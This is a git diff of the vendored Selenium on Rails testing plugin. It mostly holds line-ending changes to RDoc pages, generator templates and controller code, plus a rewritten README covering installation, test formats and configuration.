-467:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_condition</span> <span class="ruby-identifier">script</span>, <span class="ruby-identifier">timeout</span>
-468:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForCondition'</span>, <span class="ruby-identifier">script</span>, <span class="ruby-identifier">timeout</span>
+467:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_condition</span> <span class="ruby-identifier">script</span>, <span class="ruby-identifier">timeout</span>
+468:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForCondition'</span>, <span class="ruby-identifier">script</span>, <span class="ruby-identifier">timeout</span>
 469:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -1976,8 +1976,8 @@ Selenium command that caused a page-load.
           <div class="method-source-code" id="M000070-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 497</span>
-497:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_page_to_load</span> <span class="ruby-identifier">timeout</span>
-498:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForPageToLoad'</span>, <span class="ruby-identifier">timeout</span>
+497:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_page_to_load</span> <span class="ruby-identifier">timeout</span>
+498:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForPageToLoad'</span>, <span class="ruby-identifier">timeout</span>
 499:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2005,8 +2005,8 @@ The <tt>timeout</tt> is specified in milliseconds.
           <div class="method-source-code" id="M000028-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 185</span>
-185:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_popup</span> <span class="ruby-identifier">window_id</span>, <span class="ruby-identifier">timeout</span>
-186:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForPopUp'</span>, <span class="ruby-identifier">window_id</span><span class="ruby-operator">||</span><span class="ruby-value str">'null'</span>, <span class="ruby-identifier">timeout</span>
+185:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">wait_for_popup</span> <span class="ruby-identifier">window_id</span>, <span class="ruby-identifier">timeout</span>
+186:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'waitForPopUp'</span>, <span class="ruby-identifier">window_id</span><span class="ruby-operator">||</span><span class="ruby-value str">'null'</span>, <span class="ruby-identifier">timeout</span>
 187:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2031,8 +2031,8 @@ Gives focus to a window.
           <div class="method-source-code" id="M000065-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 433</span>
-433:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">window_focus</span> <span class="ruby-identifier">window_name</span>
-434:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'windowFocus'</span>, <span class="ruby-identifier">window_name</span>
+433:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">window_focus</span> <span class="ruby-identifier">window_name</span>
+434:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'windowFocus'</span>, <span class="ruby-identifier">window_name</span>
 435:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
@@ -2057,8 +2057,8 @@ Resize window to take up the entire screen.
           <div class="method-source-code" id="M000066-source">
 <pre>
      <span class="ruby-comment cmt"># File lib/selenium_on_rails/test_builder_actions.rb, line 438</span>
-438:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">window_maximize</span> <span class="ruby-identifier">window_name</span>
-439:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'windowMaximize'</span>, <span class="ruby-identifier">window_name</span>
+438:   <span class="ruby-keyword kw">def</span> <span class="ruby-identifier">window_maximize</span> <span class="ruby-identifier">window_name</span>
+439:     <span class="ruby-identifier">command</span> <span class="ruby-value str">'windowMaximize'</span>, <span class="ruby-identifier">window_name</span>
 440:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRailsConfig.html b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRailsConfig.html
index 04f8f8e5..4fae21bf 100644
--- a/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRailsConfig.html
+++ b/vendor/plugins/selenium-on-rails/doc/classes/SeleniumOnRailsConfig.html
@@ -123,12 +123,12 @@
           <div class="method-source-code" id="M000007-source">
 <pre>
     <span class="ruby-comment cmt"># File lib/selenium_on_rails_config.rb, line 5</span>
- 5:   <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">get</span> <span class="ruby-identifier">var</span>, <span class="ruby-identifier">default</span> = <span class="ruby-keyword kw">nil</span>
- 6:     <span class="ruby-identifier">value</span> = <span class="ruby-identifier">configs</span>[<span class="ruby-identifier">var</span>.<span class="ruby-identifier">to_s</span>]
- 7:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-ivar">@@defaults</span>[<span class="ruby-identifier">var</span>]
- 8:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">default</span>
- 9:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
-10:     <span class="ruby-identifier">value</span>
+ 5:   <span class="ruby-keyword kw">def</span> <span class="ruby-keyword kw">self</span>.<span class="ruby-identifier">get</span> <span class="ruby-identifier">var</span>, <span class="ruby-identifier">default</span> = <span class="ruby-keyword kw">nil</span>
+ 6:     <span class="ruby-identifier">value</span> = <span class="ruby-identifier">configs</span>[<span class="ruby-identifier">var</span>.<span class="ruby-identifier">to_s</span>]
+ 7:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-ivar">@@defaults</span>[<span class="ruby-identifier">var</span>]
+ 8:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-identifier">default</span>
+ 9:     <span class="ruby-identifier">value</span> <span class="ruby-operator">||=</span> <span class="ruby-keyword kw">yield</span> <span class="ruby-keyword kw">if</span> <span class="ruby-identifier">block_given?</span>
+10:     <span class="ruby-identifier">value</span>
 11:   <span class="ruby-keyword kw">end</span>
 </pre>
           </div>
diff --git a/vendor/plugins/selenium-on-rails/doc/files/README.html b/vendor/plugins/selenium-on-rails/doc/files/README.html
index eb1945e1..2984f6f9 100644
--- a/vendor/plugins/selenium-on-rails/doc/files/README.html
+++ b/vendor/plugins/selenium-on-rails/doc/files/README.html
@@ -68,280 +68,229 @@
 
   <div id="contextContent">
 
-    <div id="description">
-      <h1>Selenium on Rails</h1>
-<h2>Overview</h2>
-<p>
-Selenium on Rails provides an easy way to test Rails application with <a
-href="http://www.openqa.org/selenium-core/">SeleniumCore</a>.
-</p>
-<p>
-This plugin does four things:
-</p>
-<ol>
-<li>The Selenium Core files don&#8216;t have to pollute <tt>/public</tt>.
+<div id="description">
+	<p>Welcome to the Selenium on Rails README.  Exciting isn&#8217;t it?</p>
 
-</li>
-<li>No need to create suite files, they are generated on the fly &#8212; one
-suite per directory in <tt>/test/selenium</tt> (suites can be nested).
+	<h1 id="selenium_on_rails">Selenium on Rails</h1>
 
-</li>
-<li>Instead of writing the test cases in HTML you can use a number of better
-formats (see <tt>Formats</tt>).
+	<h2 id="overview">Overview</h2>
 
-</li>
-<li>Loading of fixtures and wiping of session (<tt>/selenium/setup</tt>).
+	<p>Selenium on Rails provides an easy way to test Rails application with 
+	SeleniumCore[http://www.openqa.org/selenium-core/].</p>
 
-</li>
-</ol>
-<h2>Installation</h2>
-<ol>
-<li>Install Selenium on Rails: <tt>script/plugin install <a
-href="http://svn.openqa.org/svn/selenium-on-rails/selenium-on-rails">svn.openqa.org/svn/selenium-on-rails/selenium-on-rails</a></tt>
+	<p>This plugin does four things:</p>
 
-</li>
-<li>If you&#8216;re on Windows, <tt>gem install win32-open3</tt>
+	<ol>
+	<li>The Selenium Core files don&#8217;t have to pollute <tt>/public</tt>.</li>
+	<li>No need to create suite files, they are generated on the fly &#8212; one suite per directory in <tt>/test/selenium</tt> (suites can be nested).</li>
+	<li>Instead of writing the test cases in HTML you can use a number of better formats (see <tt>Formats</tt>).</li>
+	<li>Loading of fixtures and wiping of session (<tt>/selenium/setup</tt>).</li>
+	</ol>
 
-</li>
-<li><em>If the RedCloth gem is available the Selenese test cases can use it for
-better markup.</em>
+	<h2 id="installation">Installation</h2>
 
-</li>
-<li>Run the Rakefile in the plugin&#8216;s directory to run the tests in order
-to see that everything works. (If RedCloth isn&#8216;t installed a few
-tests will fail since they assume RedCloth is installed.)
+	<p>Rails periodically changes the way that it renders pages, which unfortunately breaks backwards versions of Selenium on Rails.  Therefore there are different
+	installation locations depending on your version of Rails:</p>
 
-</li>
-<li>Create a test case: <tt>script/generate selenium login</tt>
+	<p><em>Rails 2.2 and up:</em></p>
 
-</li>
-<li>Start the server: <tt>script/server -e test</tt>
+	<pre><code>http://svn.openqa.org/svn/selenium-on-rails/stable/selenium-on-rails
+	</code></pre>
 
-</li>
-<li>Point your browser to <tt><a
-href="http://localhost:3000/selenium">localhost:3000/selenium</a></tt>
+	<p><em>Rails 2.1:</em></p>
 
-</li>
-<li>If everything works as expected you should see the Selenium test runner.
-The north east frame contains all your test cases (just one for now), and
-the north frame contains your test case.
+	<pre><code>http://svn.openqa.org/svn/selenium-on-rails/tags/rails_2_1/selenium-on-rails
+	</code></pre>
 
-</li>
-</ol>
-<h2>Formats</h2>
-<p>
-The test cases can be written in a number of formats. Which one you choose
-is a matter of taste. You can generate your test files by running
-<tt>script/generate selenium</tt> or by creating them manually in your
-<tt>/test/selenium</tt> directory.
-</p>
-<h3>Selenese, .sel</h3>
-<p>
-Selenese is the dumbest format (in a good way). You just write your
-commands delimited by | characters.
-</p>
-<pre>
- |open|/selenium/setup|
- |open|/|
- |goBack|
-</pre>
-<p>
-If you don&#8216;t want to write Selenese tests by hand you can use <a
-href="http://www.openqa.org/selenium-ide/">SeleniumIDE</a> which has <a
-href="http://wiki.openqa.org/display/SIDE/SeleniumOnRails">support</a> for
-Selenese.
-</p>
-<p>
-SeleniumIDE makes it super easy to record test and edit them.
-</p>
-<h3>RSelenese, .rsel</h3>
-<p>
-RSelenese enable you to write your tests in Ruby.
-</p>
-<pre>
- setup :fixtures =&gt; :all
- open '/'
- assert_title 'Home'
- ('a'..'z').each {|c| open :controller =&gt; 'user', :action =&gt; 'create', :name =&gt; c }
-</pre>
-<p>
-See <a
-href="../classes/SeleniumOnRails/TestBuilder.html">SeleniumOnRails::TestBuilder</a>
-for available commands.
-</p>
-<h3>HTML/RHTML</h3>
-<p>
-You can write your tests in HTML/RHTML but that&#8216;s mostly useful if
-you have existing tests you want to reuse.
-</p>
-<h3>Partial test cases</h3>
-<p>
-If you have some common actions you want to do in several test cases you
-can put them in a separate partial test case and include them in your other
-test cases.
-</p>
-<p>
-A partial test case is just like a normal test case besides that its
-filename has to start with _:
-</p>
-<pre>
- #_login.rsel
- open '/login'
- type 'name', name
- type 'password', password
- click 'submit', :wait=&gt;true
-</pre>
-<p>
-To include a partial test case you write like this in a Selenese test case:
-</p>
-<pre>
- |includePartial|login|name=John Doe|password=eoD nhoJ|
-</pre>
-<p>
-in a RSelenese test case:
-</p>
-<pre>
- include_partial 'login', :name =&gt; 'Jane Doe', :password =&gt; 'Jane Doe'.reverse
-</pre>
-<p>
-and in a RHTML test case:
-</p>
-<pre>
- &lt;%= render :partial =&gt; 'login', :locals =&gt; {:name = 'Joe Schmo', :password =&gt; 'Joe Schmo'.reverse} %&gt;
-</pre>
-<h2>Configuration</h2>
-<p>
-There are a number of settings available. You make them by renaming
-<tt>config.yml.example</tt> to <tt>config.yml</tt> and make your changes in
-that file.
-</p>
-<h3>Environments</h3>
-<p>
-Per default this plugin is only available in test environment. You can
-change this by setting <tt>environments</tt>, such as:
-</p>
-<pre>
- #config.yml
- environments:
-   - test
-   - development
-</pre>
-<h3>Selenium Core path</h3>
-<p>
-If you don&#8216;t want to use the bundled Selenium Core version you can
-set <tt>selenium_path</tt> to the directory where Selenium Core is stored.
-</p>
-<pre>
- #config.yml
- selenium_path: 'c:\selenium'
-</pre>
-<h2><tt>test:acceptance</tt></h2>
-<p>
-You can run all your Selenium tests as a Rake task.
-</p>
-<p>
-First, if you&#8216;re on Windows, you have to make sure win32-open3 is
-installed. Then you have to configure which browsers you want to run, like
-this:
-</p>
-<pre>
- #config.yml
- browsers:
-   firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
-   ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
-</pre>
-<p>
-Now you&#8216;re all set. First start a server:
-</p>
-<pre>
- script/server -e test
-</pre>
-<p>
-Then run the tests:
-</p>
-<pre>
- rake test:acceptance
-</pre>
-<p>
-Now it should work, otherwise let me know!
-</p>
-<h3>Store results</h3>
-<p>
-If you want to store the results from a <tt>test:acceptance</tt> you just
-need to set in which directory they should be stored:
-</p>
-<pre>
- #config.yml
- result_dir: 'c:\result'
-</pre>
-<p>
-So when you run <tt>rake test:acceptance</tt> the tables with the results
-will be stored as <tt>.html</tt> files in that directory.
-</p>
-<p>
-This can be useful especially for continous integration.
-</p>
-<h3>user_extension.js</h3>
-<p>
-Selenium has support for <tt>user_extension.js</tt> which is a way to
-extend the functionality of Selenium Core. Selenium on Rails now provides
-the means for you to extend it&#8216;s functionality to match.
-</p>
-<p>
-To get you started, we&#8216;ve included the example files
-<tt>lib/test_builder_user_accessors.rb.example</tt> and
-<tt>lib/test_builder_user_actions.rb.example</tt> that replicate the sample
-extensions in Selenium Core&#8216;s <tt>user-extensions.js.sample</tt>
-</p>
-<p>
-To get these examples running, simply remove the .example and .sample
-extensions from the files and restart your server.
-</p>
-<h2>Todo</h2>
-<h3>Standalone mode</h3>
-<p>
-More work is needed on <tt>test:acceptance</tt> on Windows to be able to
-start the server when needed.
-</p>
-<h3>More setup/teardown support?</h3>
-<p>
-Currently there is only support to load fixtures and to wipe the session in
-<tt>/selenium/setup</tt>. Is there a need for more kinds of setups or
-teardowns?
-</p>
-<h3>More documentation</h3>
-<h2>Not todo</h2>
-<h3>Editor</h3>
-<p>
-Creating an editor for the test cases is currently considered out of scope
-for this plugin. <a
-href="http://www.openqa.org/selenium-ide/">SeleniumIDE</a> does such a good
-job and has <a
-href="http://wiki.openqa.org/display/SIDE/SeleniumOnRails">support</a> for
-the Selenese format.
-</p>
-<h2>Credits</h2>
-<ul>
-<li>Jon Tirsen, <a href="http://jutopia.tirsen.com">jutopia.tirsen.com</a>
-&#8212; initial <a
-href="http://wiki.rubyonrails.com/rails/pages/SeleniumIntegration">inspiration</a>
+	<p><em>Before Rails 2.1:</em></p>
 
-</li>
-<li>Eric Kidd, <a href="http://www.randomhacks.net">www.randomhacks.net</a>
-&#8212; contribution of RSelenese
+	<pre><code>http://svn.openqa.org/svn/selenium-on-rails/tags/pre-rails-2-1/selenium-on-rails
+	</code></pre>
 
-</li>
-</ul>
-<h2>Information</h2>
-<p>
-For more information, check out the <a
-href="http://www.openqa.org/selenium-on-rails/">website</a>.
-</p>
+	<p>The latest release is always kept on GitHub at </p>
 
-    </div>
+	<pre><code>git clone git://github.com/paytonrules/selenium-on-rails.git
+	</code></pre>
 
+	<p>To install:</p>
+
+	<ol>
+	<li>Install Selenium on Rails: script/plugin install <URL></li>
+	<li>If you‘re on Windows, gem install win32-open3</li>
+	<li>If the RedCloth gem is available the Selenese test cases can use it for better markup.</li>
+	<li>Run the Rakefile in the plugin‘s directory to run the tests in order to see that everything works. (If RedCloth isn‘t installed a few tests will fail since they assume RedCloth is installed.)</li>
+	<li>Create a test case: script/generate selenium <TestName></li>
+	<li>Start the server: script/server -e test</li>
+	<li>Point your browser to localhost:3000/selenium</li>
+	<li>If everything works as expected you should see the Selenium test runner. The north east frame contains all your test cases (just one for now), and the north frame contains your test case.</li>
+	</ol>
+
+	<h2 id="formats">Formats</h2>
+
+	<p>The test cases can be written in a number of formats. Which one you choose is a matter of taste. You can generate your test files by running script/generate selenium or by creating them manually in your /test/selenium directory.</p>
+
+	<h2 id="rselenese_rsel">RSelenese, .rsel</h2>
+
+	<p>RSelenese lets you write your tests in Ruby. This is my favorite format.</p>
+
+	<pre><code>setup :fixtures =&gt; :all
+	open '/'
+	assert_title 'Home'
+	('a'..'z').each {|c| open :controller =&gt; 'user', :action =&gt; 'create', :name =&gt; c }
+	</code></pre>
+
+	<p>See SeleniumOnRails::TestBuilder for available commands. <em>IMPORTANT NOTE:</em> RSelenese generates the HTML tables for Selenium behind the scenes when the page is loaded - ONCE. That means code like this:</p>
+
+	<pre><code>(1..10).each do |index|
+	    do something
+	end
+	</code></pre>
+
+	<p>Will only be executed when the test is loaded, not when the test is run. This is a common error and leads to tests that work the first time and fail the second time.</p>
+
+	<h2 id="selenese_sel">Selenese, .sel</h2>
+
+	<p>Selenese is the dumbest format (in a good way). You just write your commands delimited by | characters.</p>
+
+	<pre><code>|open|/selenium/setup|
+	|open|/|
+	|goBack|
+	</code></pre>
+
+	<p>If you don‘t want to write Selenese tests by hand you can use SeleniumIDE which has support for Selenese.</p>
+
+	<h2 id="html_rhtml">HTML/RHTML</h2>
+
+	<p>You can write your tests in HTML/RHTML but that‘s mostly useful if you have existing tests you want to reuse.</p>
+
+	<h2 id="partial_test_cases">Partial test cases</h2>
+
+	<p>If you have some common actions you want to do in several test cases you can put them in a separate partial test case and include them in your other test cases. This is highly recommended, just as small functions would be recommended in structured programming.</p>
+
+	<p>A partial test case is just like a normal test case besides that its filename has to start with _:</p>
+
+	<pre><code>#_login.rsel
+	open '/login'
+	type 'name', name
+	type 'password', password
+	click 'submit', :wait=&gt;true
+	</code></pre>
+
+	<p>To include a partial test case in a RSelenese test case:</p>
+
+	<pre><code>include_partial 'login', :name =&gt; 'Jane Doe', :password =&gt; 'Jane Doe'.reverse
+	</code></pre>
+
+	<p>in a Selenese test case:</p>
+
+	<pre><code>|includePartial|login|name=John Doe|password=eoD nhoJ|
+	</code></pre>
+
+	<p>and in a RHTML test case:</p>
+
+	<pre><code>&lt;%= render :partial =&gt; 'login', :locals =&gt; {:name = 'Joe Schmo', :password =&gt; 'Joe Schmo'.reverse} %&gt;
+	</code></pre>
+
+	<h2 id="configuration">Configuration</h2>
+
+	<p>There are a number of settings available. You make them by renaming selenium.yml.example to selenium.yml and placing it in your rails app&#8217;s config 
+	file.  Make your changes in that file.</p>
+
+	<h2 id="environments">Environments</h2>
+
+	<p>Per default this plugin is only available in test environment. You can change this by setting environments, such as:</p>
+
+	<pre><code>#selenium.yml
+	environments:
+	    - test
+	    - development
+	</code></pre>
+
+	<h2 id="selenium_core_path">Selenium Core path</h2>
+
+	<p>If you don‘t want to use the bundled Selenium Core version you can set selenium_path to the directory where Selenium Core is stored.</p>
+
+	<pre><code>#config.yml
+	selenium_path: 'c:\selenium'
+	</code></pre>
+
+	<h2 id="rake_task">Rake Task</h2>
+
+	<p>You can run all your Selenium tests as a Rake task. If you&#8217;re using a continuous builder this is a great way to integrate selenium into your build process.  First, if you‘re on Windows, you have to make sure win32-open3 is installed. Then you have to configure which browsers you want to run, like this:</p>
+
+	<pre><code>#config.yml
+	browsers:
+	    firefox: 'c:\Program Files\Mozilla Firefox\firefox.exe'
+	    ie: 'c:\Program Files\Internet Explorer\iexplore.exe'
+	</code></pre>
+
+	<p>Now you‘re all set. First start a server:</p>
+
+	<pre><code>script/server -e test
+	</code></pre>
+
+	<p>Then run the tests:</p>
+
+	<pre><code>rake test:acceptance
+	</code></pre>
+
+	<p>Now it should work, otherwise let me know!</p>
+
+	<h2 id="store_results">Store results</h2>
+
+	<p>If you want to store the results from a test:acceptance you just need to set in which directory they should be stored:</p>
+
+	<pre><code>#config.yml
+	result_dir: 'c:\result'
+	</code></pre>
+
+	<p>So when you run rake test:acceptance the tables with the results will be stored as .html files in that directory.</p>
+
+	<h2 id="user_extensionjs">user_extension.js</h2>
+
+	<p>Selenium has support for user_extension.js which is a way to extend the functionality of Selenium Core. Selenium on Rails now provides the means for you to extend it&#8217;s functionality to match.</p>
+
+	<p>To get you started, we&#8217;ve included the example files lib/test_builder_user_accessors.rb.example and lib/test_builder_user_actions.rb.example that replicate the sample extensions in Selenium Core&#8217;s user-extensions.js.sample.</p>
+
+	<p>To get these examples running, simply remove the .example and .sample extensions 
+	from the files and restart your server.</p>
+
+	<h2 id="todo">Todo</h2>
+
+	<ul>
+	<li><p>Standalone mode
+	More work is needed on test:acceptance&lt; on Windows to be able to start the server when needed.</p></li>
+	<li><p>Documentation update</p></li>
+	</ul>
+
+	<h2 id="not_todo">Not todo</h2>
+
+	<ul>
+	<li>Editor
+	Creating an editor for the test cases is currently considered out of scope for this plugin. SeleniumIDE[http://www.openqa.org/selenium-ide/] does such a good  job and has support[http://wiki.openqa.org/display/SIDE/SeleniumOnRails] for both the Selenese and RSelenese formats.</li>
+	</ul>
+
+	<h2 id="credits">Credits</h2>
+
+	<ul>
+	<li>Jonas Bengston &#8212; original creator</li>
+	<li>Eric Smith, http://blog.8thlight.com/eric &#8212; Current Maintainer</li>
+	<li>Jon Tirsen, http://jutopia.tirsen.com &#8212; initial inspiration[http://wiki.rubyonrails.com/rails/pages/SeleniumIntegration]</li>
+	<li>Eric Kidd, http://www.randomhacks.net &#8212; contribution of RSelenese</li>
+	<li>Marcos Tapajós http://www.improveit.com.br/en/company/tapajos &#8212; Several useful features, current committer</li>
+	<li>Ryan Bates, http://railscasts.com &#8212; Fixes for Rails 2.1</li>
+	<li>Nando Vieira, http://simplesideias.com.br</li>
+	<li>Gordon McCreight, a neat script that lists any unsupported methods</li>
+	</ul>
+
+	<h2 id="contributing_">Contributing ##</h2>
+
+	<p>Contributing is simple.  Fork this repo, make your changes, then issue a pull request.  <em>IMPORTANT</em> I will not take forks that do not have associated unit tests.  There must be tests, and they must pass, so I can bring the changes in.</p>
+
+	<h2 id="information">Information</h2>
+
+	<p>For more information, check out the <a href="http://seleniumhq.org/projects/on-rails/">website</a>.</p>
 
-   </div>
 
 
   </div>
diff --git a/vendor/plugins/selenium-on-rails/generators/selenium/templates/rhtml.rhtml b/vendor/plugins/selenium-on-rails/generators/selenium/templates/rhtml.rhtml
index f7b40244..c6c4c441 100644
--- a/vendor/plugins/selenium-on-rails/generators/selenium/templates/rhtml.rhtml
+++ b/vendor/plugins/selenium-on-rails/generators/selenium/templates/rhtml.rhtml
@@ -1,16 +1,16 @@
-<p>It's often a good idea to start the test with opening <tt>/selenium/setup</tt> (see <%%= link_to 'here', :controller => 'selenium', :action => 'setup' %> for more info).</p>
-
-<table>
-	<tr><th colspan="3"><%%= @page_title %></th></tr>
-	<tr><td>open</td><td>/selenium/setup</td><td>&nbsp;</td></tr>
-<%% for page in ['/', '/home'] -%>
-	<tr><td>open</td><td><%%= page %></td><td>&nbsp;</td></tr>
-	<tr><td>assertTitle</td><td>Home</td><td>&nbsp;</td></tr>
-<%% end -%>
-</table>
-
-<p>More information about the commands is available <a href="http://release.openqa.org/selenium-core/nightly/reference.html">here</a>.</p>
-
-<p>You can write comments above and below the commands, but you can only have one set of commands, i.e. one table, per test.</p>
-
-<p>Point the browser to <a href="<%= testcase_link %>"><%= testcase_link %></a> to see how this test is rendered, or to <a href="<%= suite_link %>"><%= suite_link %></a> to run the suite.</p>
+<p>It's often a good idea to start the test with opening <tt>/selenium/setup</tt> (see <%%= link_to 'here', :controller => 'selenium', :action => 'setup' %> for more info).</p>
+
+<table>
+	<tr><th colspan="3"><%%= @page_title %></th></tr>
+	<tr><td>open</td><td>/selenium/setup</td><td>&nbsp;</td></tr>
+<%% for page in ['/', '/home'] -%>
+	<tr><td>open</td><td><%%= page %></td><td>&nbsp;</td></tr>
+	<tr><td>assertTitle</td><td>Home</td><td>&nbsp;</td></tr>
+<%% end -%>
+</table>
+
+<p>More information about the commands is available <a href="http://release.openqa.org/selenium-core/nightly/reference.html">here</a>.</p>
+
+<p>You can write comments above and below the commands, but you can only have one set of commands, i.e. one table, per test.</p>
+
+<p>Point the browser to <a href="<%= testcase_link %>"><%= testcase_link %></a> to see how this test is rendered, or to <a href="<%= suite_link %>"><%= suite_link %></a> to run the suite.</p>
diff --git a/vendor/plugins/selenium-on-rails/generators/selenium/templates/rselenese.rhtml b/vendor/plugins/selenium-on-rails/generators/selenium/templates/rselenese.rhtml
index 72cbc9f3..419eb368 100644
--- a/vendor/plugins/selenium-on-rails/generators/selenium/templates/rselenese.rhtml
+++ b/vendor/plugins/selenium-on-rails/generators/selenium/templates/rselenese.rhtml
@@ -1,14 +1,14 @@
-# It's often a good idea to start the test with 'setup'.
-# See /selenium/setup for more info.
-
-setup
-open '/'
-assert_title 'Home'
-
-# More information about the commands is available at:
-#   http://release.openqa.org/selenium-core/nightly/reference.html
-# See also the RDoc for SeleniumOnRails::TestBuilder.
-#
-# Point the browser to <%= testcase_link %> to see
-# how this test is rendered, or to <%= suite_link %> to
-# run the suite.
+# It's often a good idea to start the test with 'setup'.
+# See /selenium/setup for more info.
+
+setup
+open '/'
+assert_title 'Home'
+
+# More information about the commands is available at:
+#   http://release.openqa.org/selenium-core/nightly/reference.html
+# See also the RDoc for SeleniumOnRails::TestBuilder.
+#
+# Point the browser to <%= testcase_link %> to see
+# how this test is rendered, or to <%= suite_link %> to
+# run the suite.
diff --git a/vendor/plugins/selenium-on-rails/generators/selenium/templates/selenese.rhtml b/vendor/plugins/selenium-on-rails/generators/selenium/templates/selenese.rhtml
index 23c43458..f4ccb8a9 100644
--- a/vendor/plugins/selenium-on-rails/generators/selenium/templates/selenese.rhtml
+++ b/vendor/plugins/selenium-on-rails/generators/selenium/templates/selenese.rhtml
@@ -1,11 +1,11 @@
-It's often a good idea to start the test with opening <tt>/selenium/setup</tt> (see "here":/selenium/setup for more info).
-
-|open|/selenium/setup|
-|open|/|
-|assertTitle|Home|
-
-More information about the commands is available "here":http://release.openqa.org/selenium-core/nightly/reference.html.
-
-You can write comments above and below the commands, but you can only have one set of commands, i.e. one table, per test. "RedCloth":http://www.whytheluckystiff.net/ruby/redcloth/ is used for formatting if installed.
-
-Point the browser to "<%= testcase_link %>":<%= testcase_link %> to see how this test is rendered, or to "<%= suite_link %>":<%= suite_link %> to run the suite.
+It's often a good idea to start the test with opening <tt>/selenium/setup</tt> (see "here":/selenium/setup for more info).
+
+|open|/selenium/setup|
+|open|/|
+|assertTitle|Home|
+
+More information about the commands is available "here":http://release.openqa.org/selenium-core/nightly/reference.html.
+
+You can write comments above and below the commands, but you can only have one set of commands, i.e. one table, per test. "RedCloth":http://www.whytheluckystiff.net/ruby/redcloth/ is used for formatting if installed.
+
+Point the browser to "<%= testcase_link %>":<%= testcase_link %> to see how this test is rendered, or to "<%= suite_link %>":<%= suite_link %> to run the suite.
diff --git a/vendor/plugins/selenium-on-rails/init.rb b/vendor/plugins/selenium-on-rails/init.rb
index 9d355a4a..185b5847 100644
--- a/vendor/plugins/selenium-on-rails/init.rb
+++ b/vendor/plugins/selenium-on-rails/init.rb
@@ -1,15 +1,15 @@
-require 'selenium_on_rails_config'
-envs = SeleniumOnRailsConfig.new.get :environments
-
-if envs.include? RAILS_ENV
-  #initialize the plugin
-  $LOAD_PATH << File.dirname(__FILE__) + "/lib/controllers"
-  require 'selenium_controller'
-  require File.dirname(__FILE__) + '/routes'
-
-  SeleniumController.prepend_view_path File.expand_path(File.dirname(__FILE__) + '/lib/views')
-else
-  #erase all traces
-  $LOAD_PATH.delete lib_path
-end
-
+require 'selenium_on_rails_config'
+envs = SeleniumOnRailsConfig.get :environments
+
+if envs.include? RAILS_ENV
+  #initialize the plugin
+  $LOAD_PATH << File.dirname(__FILE__) + "/lib/controllers"
+  require 'selenium_controller'
+  require File.dirname(__FILE__) + '/routes'
+
+  SeleniumController.prepend_view_path File.expand_path(File.dirname(__FILE__) + '/lib/views')
+else
+  #erase all traces
+  $LOAD_PATH.delete lib_path
+end
+
diff --git a/vendor/plugins/selenium-on-rails/lib/controllers/selenium_controller.rb b/vendor/plugins/selenium-on-rails/lib/controllers/selenium_controller.rb
index 710c70f3..02e3df8b 100644
--- a/vendor/plugins/selenium-on-rails/lib/controllers/selenium_controller.rb
+++ b/vendor/plugins/selenium-on-rails/lib/controllers/selenium_controller.rb
@@ -1,122 +1,122 @@
-require 'webrick/httputils'
-
-class SeleniumController < ActionController::Base
-  include SeleniumOnRails::FixtureLoader
-  include SeleniumOnRails::Renderer
-  
-  def initialize
-    @config = SeleniumOnRailsConfig.new
-  end
-  
-  def setup
-    unless params.has_key? :keep_session
-      reset_session
-      @session_wiped = true
-    end
-    @cleared_tables = clear_tables params[:clear_tables].to_s
-    @loaded_fixtures = load_fixtures params[:fixtures].to_s
-    render :file => view_path('setup.rhtml'), :layout => layout_path\
-  end
-
-  def test_file
-    params[:testname] = '' if params[:testname].to_s == 'TestSuite.html'
-    filename = File.join selenium_tests_path, params[:testname]
-    if File.directory? filename
-      @suite_path = filename
-      render :file => view_path('test_suite.rhtml'), :layout => layout_path
-    elsif File.readable? filename
-      render_test_case filename
-    else
-      if File.directory? selenium_tests_path
-        render :text => 'Not found', :status => 404
-      else
-        render :text => "Did not find the Selenium tests path (#{selenium_tests_path}). Run script/generate selenium", :status => 404
-      end
-    end
-  end
-
-  def support_file
-    if params[:filename].empty?
-      redirect_to :filename => 'TestRunner.html', :test => 'tests'
-      return
-    end
-
-    filename = File.join selenium_path, params[:filename]
-    if File.file? filename
-      type = WEBrick::HTTPUtils::DefaultMimeTypes[$1.downcase] if filename =~ /\.(\w+)$/
-      type ||= 'text/html'
